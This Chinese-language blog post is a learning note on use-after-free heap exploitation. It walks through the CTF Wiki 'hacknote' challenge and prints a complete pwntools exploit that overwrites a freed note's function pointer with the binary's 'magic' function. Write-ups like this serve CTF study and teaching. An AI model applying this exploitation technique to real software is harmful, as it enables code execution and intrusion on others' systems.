UAF的学习 Wiki

参考文章 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/

不得不说 wiki 真的好  真的建议好好看看~~

UAF 应该是最简单的堆溢出利用之一了  

wiki 用的例子也是 UAF 题里面简单的题     这里 我用的也是 wiki 里面的例子 

UAF 其实就是 free 的指针 没有 把指针 给清0 指针还是指向了原来的地址    但是 那个地址已经给了别的模块 但我们依然能够用

那么这里就出现了  UAF漏洞

UAF的学习 Wiki_第1张图片

这个题 其实大概情况很简单   我们看一下 

UAF的学习 Wiki_第2张图片

他这个结构体其实很简单  就是 两个指针  第一个指针就是 puts 函数  

UAF的学习 Wiki_第3张图片

puts 第二个指针指向的内存地址 也就是程序的让我们输入的内容 

然后 是malloc (8)

看一下 dele 

UAF的学习 Wiki_第4张图片

这里可以看的出来 只是free了 并没有 把指针 清 0  那么我们只需要申请到 note的内存  然后把他内存里面的puts 改成我们想要实现的函数地址  然后 就能够 完成 溢出 

下面是 exp

#coding:utf-8
  

from pwn import*
io=process("./hacknote")
elf=ELF("./hacknote")
get_addr=elf.symbols['magic']
def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Note size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.sendline(content)

def dele(index):
	io.recvuntil("Your choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(index))

def show(index):
	io.recvuntil("Your choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(index))

if __name__ == '__main__':
	add(0x20,'aaaa')
	add(0x20,'bbbb')
	dele(0)
	dele(1)
	add(8,p32(get_addr))
	show(0)
	io.interactive()
	io.close()

UAF的学习 Wiki_第5张图片

成功写入 magic  

UAF的学习 Wiki_第6张图片

get!

你可能感兴趣的:(栈溢出,堆溢出)